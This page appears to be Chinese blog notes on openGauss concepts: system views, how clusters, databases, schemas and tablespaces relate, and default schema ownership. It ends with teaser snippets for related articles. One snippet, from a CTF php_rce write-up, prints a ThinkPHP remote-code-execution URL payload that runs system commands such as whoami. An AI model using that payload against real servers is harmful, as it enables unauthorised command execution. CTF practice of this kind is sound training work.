关于opengauss

ops/2024/12/20 2:41:45/

adm开头的那些都是系统视图,不是系统表

ADM开头的系统视图,都在华为云:
路径(GaussDB官方文档-->开发指南-->开发指南(分布式_V2.0-8.x)-->系统表和系统视图-->系统视图)
https://support.huaweicloud.com/distributed-devg-v8-gaussdb/gaussdb-12-0990.html

比如这些:

表里面的行也叫tuple,tuple是元祖的意思

schema也叫namespace

database也叫catalog

一个数据库cluster包括最多128个database

每个database包括多个schema

数据库的对象存储在schema里面

这些对象包括table index view function sequence

一个数据库可以在多个表空间里

一个表空间可以横跨多个数据库

每一个数据库也可以横跨多个表空间

数据库的对象由多个数据文件组成

形成同一张表的数据文件是不能跨tablespace的

多个用户和多个数据库

一个单实例对应一个database cluster

一个database cluster 由多个users和多个databases组成

users和databases可以共同同一套openguass实例和相关配置文件

user1可以访问database1和databasen,user2可以访问database1和databasen,

其中database1和databasen的数据是相互隔离的,但这些用户是共享整个opengauss实例中的所有database的

opengauss支持的集簇(database cluster)最多包含128个database

每一个database由多个schema组成

数据库中的对象实际上就是存储在schema里面

对象包括table、index、view、function、sequence等,表、索引、视图、函数、序列

一个database cluster里面包含了多个表空间,

每一个表空间横跨多个database

每一个数据库也可以横跨多个表空间

数据库的一个对象,是由多个数据文件组成

比如,一个表由多个数据文件组成

形成同一个表的数据文件,是不能够跨tablespace的

一个表是分区表,它由多个数据文件,它的多个数据文件是不能跨越tablespace的

也就是分区表,它是有多个数据文件,普通表,可能是有一个数据文件,不管是普通表还是分区表,它的所有数据文件都是在一个表空间里面的,也就是在同一个tablespace的

也就是一张表,不管它是不是分区表,都是只能在一个表空间里面的。其实表空间的物理存在,一般表现为一个文件,这个表是分区表,可能就是这个表空间文件里面的多个子文件,如果这个表是个普通表,不是分区表,那么就是在这个表空间文件里面的单个子文件。

理论上,分区表的不同分区可以分布在不同的表空间中,但实际中的设定,应该是以同一个分区表的不同分区是应该分布在同一个表空间中的。

一个分区表的形成的多个数据文件,是不能跨tablespaces的,对于opengauss来说是这样。

表空间存储的是数据库的实际的数据文件。

opengauss使用schema对数据库做逻辑分割。

schema在功能上类似于操作系统的目录

同一个database cluster内,也就是数据库实例内,database和database之间的数据是隔离的。

同一个database内,schema和schema之间的数据不是严格分离的。

用户根据自己的权限,来访问一个或多个schema

这样多个用户可以使用同一个数据库

数据库内,创建一个用户,会自动创建一个与用户名同名的schema,用户如果有权限,也可以自己单独创建schema。这个有点像Linux系统中,创建一个用户,就会在/home目录下创建一个这个用户的家目录的情况。

数据库创建用户时,系统会自动帮助用户在当前数据库中创建一个同名的schema,数据库对象默认创建在数据库搜索路径(search_path)中的第一个schema内。数据库默认具有一个名为public的schema,且默认所有用户的搜索路径都包含该schema

创建一个用户,系统就会自动创建一个与用户名相同的schema,所以一般,在DBeaver中,看到很多schema,而且每个schema都有名称,基本上每个schema的所有者的名称,也就是owner的名称也就是schema的名称,所有写sql语句的时候,就可以加条件owner = 'schema_name' 和 owner in 'schema_name'

schema可以rename和指定owner

初始用户是omm

数据库系统和操作系统不是一回事


http://www.ppmy.cn/ops/143360.html

相关文章

使用Python实现两组数据纵向排序

一、引言 在数据分析和处理过程中,排序是一项非常常见的操作。排序操作能够让我们更清晰地理解数据,从而进行进一步的分析和处理。在Python中,排序操作通常可以通过内置函数或第三方库来实现。本文将详细讲解如何使用Python实现两组数据的纵…

数据库-mysql

数据库的概念 数据库是按照数据结构来组织、存储和管理数据的系统,它允许用户高效地存储、检索、更新和管理数据 database:用来组织,存储,管理数据的仓库 数据库的管理系统:DBMS,实现对数据的有效储值&…

[C++]纯虚函数与虚函数

1. 什么是虚函数? 1.1 定义 虚函数是用 virtual 关键字声明的成员函数,允许子类覆盖它,并支持 运行时多态。 1.2 特点 1.动态绑定(运行时决定调用函数): 虚函数在运行时,根据对象的实际类型…

华为ensp--BGP自动路由聚合

学习新思想,争做新青年。今天学习BGP自动路由聚合 实验目的 理解BGP自动路由聚合的概念 掌握BGP自动路由聚合的配置 实验拓扑 实验要求 三台路由器都使用直连的物理接口IP地址来建立EBGP邻居关系,R2和R3的Loopback1接口用来模拟各自ISP中的一个网段。…

opencv——(图像梯度处理、图像边缘化检测、图像轮廓查找和绘制、透视变换、举例轮廓的外接边界框)

一、图像梯度处理 1 图像边缘提取 cv2.filter2D(src, ddepth, kernel[, dst[, anchor[, delta[, borderType]]]]) 功能:用于对图像进行卷积操作。卷积是图像处理中的一个基本操作,它通过一个称为卷积核(或滤波器)的小矩阵在图像上…

数据版本管理和迁移工具Flyway用法最简说明

简介 数据库迁移及版本控制工具, 用于维护不同环境下数据库的一致性 使用 引入依赖 implementation(“org.flywaydb:flyway-core:7.1.1”) 配置 spring:flyway:enabled: truelocations: classpath:sqlbaseline-on-migrate: trueclean-disabled: trueenabled: true # 开启Fl…

2024最新qrcode.min.js生成二维码Demo

找了一堆代码一堆GPT&#xff0c;终于给写对了&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

31.攻防世界php_rce

进入场景 不是&#xff0c;这是个啥啊 index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1]…